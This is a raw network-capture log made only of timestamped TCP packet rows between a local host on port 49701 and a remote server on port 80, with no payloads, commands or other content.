Nov 20, 2024 09:14:48.706046104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706057072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706068993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706084967 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706106901 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706106901 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706178904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706190109 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706202030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706203938 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706213951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706224918 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706227064 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706240892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706265926 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706305981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706316948 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706329107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706340075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706351042 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706367016 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706398964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706409931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706413984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706423044 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706439018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706449032 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706450939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706479073 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706499100 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706510067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706521034 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706526995 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706542015 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706551075 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706577063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706621885 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706643105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706655025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706666946 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706676006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706695080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706701040 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706706047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706716061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706720114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706732035 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706732035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706746101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706772089 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706780910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706793070 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706809044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706826925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706836939 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706846952 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706854105 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706892014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706892014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706927061 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706939936 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706959009 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706969976 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706980944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.706984997 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.706999063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707012892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707024097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707036018 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707041025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707062006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707091093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707102060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707113028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707123995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707127094 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707146883 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707190037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707206964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707218885 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707227945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707237005 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707247972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707253933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707259893 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707282066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707360983 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707396030 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707407951 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707417965 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707428932 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707439899 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707451105 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707453966 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707463026 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707463026 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707489014 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707514048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707525969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707525969 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707540035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707590103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707597971 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707602024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707613945 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707626104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707638979 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707675934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707680941 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707688093 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707700014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707792997 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707797050 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707809925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707820892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707830906 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707842112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707851887 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707856894 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707865953 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707879066 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707933903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707943916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707956076 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707962036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.707974911 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707986116 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.707998037 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.708000898 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.708009958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.708023071 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.708044052 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.708080053 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.708091974 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.708102942 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.708115101 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.708121061 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.708189964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.708189964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.741823912 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.741837025 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.741848946 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.741869926 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.741882086 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.741894007 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.741910934 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.742032051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.742043972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.742055893 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.742060900 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.742069006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.742080927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.742091894 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.742095947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.742095947 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.742108107 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.742120028 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.742129087 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.742192984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.795784950 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.795797110 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.795808077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.795819998 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.795846939 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.795855999 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.795886040 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.795922995 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.795953035 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.795964956 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.795964956 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.795977116 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.795978069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.795993090 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796019077 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796020031 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796030045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796046972 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796049118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796049118 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796057940 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796072960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796072960 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796082020 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796102047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796107054 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796113014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796123981 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796134949 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796145916 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796155930 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796159029 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796168089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796179056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796179056 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796180964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796192884 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796202898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796215057 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796216965 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796236038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796241999 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796255112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796263933 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796273947 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796291113 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796292067 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796298981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796303988 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796314955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796325922 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796333075 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796333075 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796338081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796350002 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796364069 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796365023 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796380043 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796392918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796392918 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796396971 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796410084 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796420097 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796422958 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796431065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796441078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796452045 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796458006 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796464920 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796473980 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796477079 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796488047 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796499014 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796513081 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796523094 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796545982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796545982 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796557903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796576977 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796583891 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796587944 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796600103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796612024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796622038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796627045 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796633959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796636105 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796647072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796657085 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796658039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796669006 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796673059 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796680927 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796705008 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796713114 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796732903 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796735048 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796745062 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796756983 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796775103 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796777964 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796787024 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796797991 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796802044 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796808958 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796819925 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796823025 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796827078 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796833992 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796844959 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796849012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796858072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796869993 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796873093 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796880007 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796881914 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796892881 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796895981 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796905041 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796916008 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796916962 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796926975 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796937943 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796948910 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796956062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796956062 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.796961069 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796969891 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796979904 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796992064 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.796997070 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797005892 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797018051 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797028065 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797033072 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797039986 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797046900 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797053099 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797064066 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797074080 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797075033 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797086000 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797096968 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797102928 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797110081 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797118902 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797122955 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797137022 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797138929 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797147036 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797151089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797163010 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797173023 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797178984 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797185898 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797197104 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797208071 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797214985 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797219038 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797231913 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797235012 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797244072 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797255039 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797255039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797270060 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797282934 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.797287941 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797287941 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797312975 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.797378063 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.835499048 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835510969 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835529089 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835541964 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835552931 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835607052 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835616112 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835633039 CET	80	49701	42.193.100.57	192.168.2.11
Nov 20, 2024 09:14:48.835639954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.835639954 CET	49701	80	192.168.2.11	42.193.100.57
Nov 20, 2024 09:14:48.835648060 CET	80	49701	42.193.100.57	192.168.2.11
